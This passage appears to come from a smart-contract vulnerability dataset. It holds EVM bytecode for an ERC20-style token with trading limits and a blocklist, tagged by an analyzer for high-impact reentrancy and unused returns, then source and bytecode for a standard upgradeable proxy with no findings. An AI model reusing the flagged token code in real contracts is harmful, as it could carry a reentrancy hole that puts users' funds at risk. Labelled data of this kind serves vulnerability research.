ffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612c01565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a8367094079ccf2862400611c7590919063ffffffff16565b611cef90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd26113af565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611e13565b50565b610e136113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612c01565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612d13565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667094079ccf28624006113b7565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fee9190612d48565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611055573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110799190612d48565b6040518363ffffffff1660e01b8152600401611096929190612d75565b6020604051808303816000875af11580156110b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d99190612d48565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611162306109db565b60008061116d610c34565b426040518863ffffffff1660e01b815260040161118f96959493929190612de3565b60606040518083038185885af11580156111ad573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d29190612e59565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506617af4c22c42400600f8190555066354a6ba7a180006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e1929190612eac565b6020604051808303816000875af1158015611300573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113249190612eea565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611426576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141d90612f89565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611495576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148c9061301b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115739190612862565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e6906130ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361165e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116559061313f565b60405180910390fd5b600081116116a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611698906131d1565b60405180910390fd5b6000600a819055506009600b819055506116b9610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172757506116f7610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d05750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117d957600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118845750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118da5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118f25750600e60179054906101000a900460ff165b15611a3057600f5481111561193c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119339061323d565b60405180910390fd5b60105481611949846109db565b611953919061325d565b1115611994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198b906132ff565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119df57600080fd5b601e426119ec919061325d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611adb5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b47576000600a819055506009600b819055505b6000611b52306109db565b9050600e60159054906101000a900460ff16158015611bbf5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd75750600e60169054906101000a900460ff165b15611bff57611be581611e13565b60004790506000811115611bfd57611bfc47611d39565b5b505b505b611c0c83838361208c565b505050565b6000838311158290611c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c509190612713565b60405180910390fd5b5060008385611c68919061331f565b9050809150509392505050565b6000808303611c875760009050611ce9565b60008284611c959190613353565b9050828482611ca491906133dc565b14611ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdb9061347f565b60405180910390fd5b809150505b92915050565b6000611d3183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209c565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da1573d6000803e3d6000fd5b5050565b6000600854821115611dec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de390613511565b60405180910390fd5b6000611df66120ff565b9050611e0b8184611cef90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e4b57611e4a612882565b5b604051908082528060200260200182016040528015611e795781602001602082028036833780820191505090505b5090503081600081518110611e9157611e90612c21565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f5c9190612d48565b81600181518110611f7057611f6f612c21565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fd730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113b7565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161203b9594939291906135ef565b600060405180830381600087803b15801561205557600080fd5b505af1158015612069573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209783838361212a565b505050565b600080831182906120e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120da9190612713565b60405180910390fd5b50600083856120f291906133dc565b9050809150509392505050565b600080600061210c6122f5565b915091506121238183611cef90919063ffffffff16565b9250505090565b60008060008060008061213c87612354565b95509550955095509550955061219a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123bc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227b81612464565b6122858483612521565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e29190612862565b60405180910390a3505050505050505050565b60008060006008549050600067094079ccf2862400905061232967094079ccf2862400600854611cef90919063ffffffff16565b8210156123475760085467094079ccf2862400935093505050612350565b81819350935050505b9091565b60008060008060008060008060006123718a600a54600b5461255b565b92509250925060006123816120ff565b905060008060006123948e8787876125f1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006123fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c11565b905092915050565b6000808284612415919061325d565b90508381101561245a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245190613695565b60405180910390fd5b8091505092915050565b600061246e6120ff565b905060006124858284611c7590919063ffffffff16565b90506124d981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612536826008546123bc90919063ffffffff16565b6008819055506125518160095461240690919063ffffffff16565b6009819055505050565b6000806000806125876064612579888a611c7590919063ffffffff16565b611cef90919063ffffffff16565b905060006125b160646125a3888b611c7590919063ffffffff16565b611cef90919063ffffffff16565b905060006125da826125cc858c6123bc90919063ffffffff16565b6123bc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061260a8589611c7590919063ffffffff16565b905060006126218689611c7590919063ffffffff16565b905060006126388789611c7590919063ffffffff16565b905060006126618261265385876123bc90919063ffffffff16565b6123bc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126b4578082015181840152602081019050612699565b838111156126c3576000848401525b50505050565b6000601f19601f8301169050919050565b60006126e58261267a565b6126ef8185612685565b93506126ff818560208601612696565b612708816126c9565b840191505092915050565b6000602082019050818103600083015261272d81846126da565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277482612749565b9050919050565b61278481612769565b811461278f57600080fd5b50565b6000813590506127a18161277b565b92915050565b6000819050919050565b6127ba816127a7565b81146127c557600080fd5b50565b6000813590506127d7816127b1565b92915050565b600080604083850312156127f4576127f361273f565b5b600061280285828601612792565b9250506020612813858286016127c8565b9150509250929050565b60008115159050919050565b6128328161281d565b82525050565b600060208201905061284d6000830184612829565b92915050565b61285c816127a7565b82525050565b60006020820190506128776000830184612853565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128ba826126c9565b810181811067ffffffffffffffff821117156128d9576128d8612882565b5b80604052505050565b60006128ec612735565b90506128f882826128b1565b919050565b600067ffffffffffffffff82111561291857612917612882565b5b602082029050602081019050919050565b600080fd5b600061294161293c846128fd565b6128e2565b9050808382526020820190506020840283018581111561296457612963612929565b5b835b8181101561298d57806129798882612792565b845260208401935050602081019050612966565b5050509392505050565b600082601f8301126129ac576129ab61287d565b5b81356129bc84826020860161292e565b91505092915050565b6000602082840312156129db576129da61273f565b5b600082013567ffffffffffffffff8111156129f9576129f8612744565b5b612a0584828501612997565b91505092915050565b600080600060608486031215612a2757612a2661273f565b5b6000612a3586828701612792565b9350506020612a4686828701612792565b9250506040612a57868287016127c8565b9150509250925092565b600060208284031215612a7757612a7661273f565b5b6000612a8584828501612792565b91505092915050565b600060ff82169050919050565b612aa481612a8e565b82525050565b6000602082019050612abf6000830184612a9b565b92915050565b612ace8161281d565b8114612ad957600080fd5b50565b600081359050612aeb81612ac5565b92915050565b600060208284031215612b0757612b0661273f565b5b6000612b1584828501612adc565b91505092915050565b600060208284031215612b3457612b3361273f565b5b6000612b42848285016127c8565b91505092915050565b612b5481612769565b82525050565b6000602082019050612b6f6000830184612b4b565b92915050565b60008060408385031215612b8c57612b8b61273f565b5b6000612b9a85828601612792565b9250506020612bab85828601612792565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612beb602083612685565b9150612bf682612bb5565b602082019050919050565b60006020820190508181036000830152612c1a81612bde565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c8a826127a7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cbc57612cbb612c50565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612cfd601783612685565b9150612d0882612cc7565b602082019050919050565b60006020820190508181036000830152612d2c81612cf0565b9050919050565b600081519050612d428161277b565b92915050565b600060208284031215612d5e57612d5d61273f565b5b6000612d6c84828501612d33565b91505092915050565b6000604082019050612d8a6000830185612b4b565b612d976020830184612b4b565b9392505050565b6000819050919050565b6000819050919050565b6000612dcd612dc8612dc384612d9e565b612da8565b6127a7565b9050919050565b612ddd81612db2565b82525050565b600060c082019050612df86000830189612b4b565b612e056020830188612853565b612e126040830187612dd4565b612e1f6060830186612dd4565b612e2c6080830185612b4b565b612e3960a0830184612853565b979650505050505050565b600081519050612e53816127b1565b92915050565b600080600060608486031215612e7257612e7161273f565b5b6000612e8086828701612e44565b9350506020612e9186828701612e44565b9250506040612ea286828701612e44565b9150509250925092565b6000604082019050612ec16000830185612b4b565b612ece6020830184612853565b9392505050565b600081519050612ee481612ac5565b92915050565b600060208284031215612f0057612eff61273f565b5b6000612f0e84828501612ed5565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f73602483612685565b9150612f7e82612f17565b604082019050919050565b60006020820190508181036000830152612fa281612f66565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613005602283612685565b915061301082612fa9565b604082019050919050565b6000602082019050818103600083015261303481612ff8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613097602583612685565b91506130a28261303b565b604082019050919050565b600060208201905081810360008301526130c68161308a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613129602383612685565b9150613134826130cd565b604082019050919050565b600060208201905081810360008301526131588161311c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131bb602983612685565b91506131c68261315f565b604082019050919050565b600060208201905081810360008301526131ea816131ae565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613227601983612685565b9150613232826131f1565b602082019050919050565b600060208201905081810360008301526132568161321a565b9050919050565b6000613268826127a7565b9150613273836127a7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132a8576132a7612c50565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132e9601a83612685565b91506132f4826132b3565b602082019050919050565b60006020820190508181036000830152613318816132dc565b9050919050565b600061332a826127a7565b9150613335836127a7565b92508282101561334857613347612c50565b5b828203905092915050565b600061335e826127a7565b9150613369836127a7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133a2576133a1612c50565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133e7826127a7565b91506133f2836127a7565b925082613402576134016133ad565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613469602183612685565b91506134748261340d565b604082019050919050565b600060208201905081810360008301526134988161345c565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006134fb602a83612685565b91506135068261349f565b604082019050919050565b6000602082019050818103600083015261352a816134ee565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61356681612769565b82525050565b6000613578838361355d565b60208301905092915050565b6000602082019050919050565b600061359c82613531565b6135a6818561353c565b93506135b18361354d565b8060005b838110156135e25781516135c9888261356c565b97506135d483613584565b9250506001810190506135b5565b5085935050505092915050565b600060a0820190506136046000830188612853565b6136116020830187612dd4565b81810360408301526136238186613591565b90506136326060830185612b4b565b61363f6080830184612853565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061367f601b83612685565b915061368a82613649565b602082019050919050565b600060208201905081810360008301526136ae81613672565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b3a62e6df65728e6a8750f393f309995f1ec18d0dabc3b031a9d5b5d574db22464736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,022
0x86d832cb87e2a586c6ae855b9a4af22de1d5bae3
/** *Submitted for verification at Etherscan.io on 2021-04-10 */ /** *Submitted for verification at BscScan.com on 2021-03-08 */ /** *Submitted for verification at Etherscan.io on 2020-10-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a26469706673582212206661f190da7bb2cb2dc6c1b9d8f8a69b6023dfda77cfcd761e2512ce3e91d5d264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,023
0x03e09c1c90107ac6b71a47406195ab550d07e021
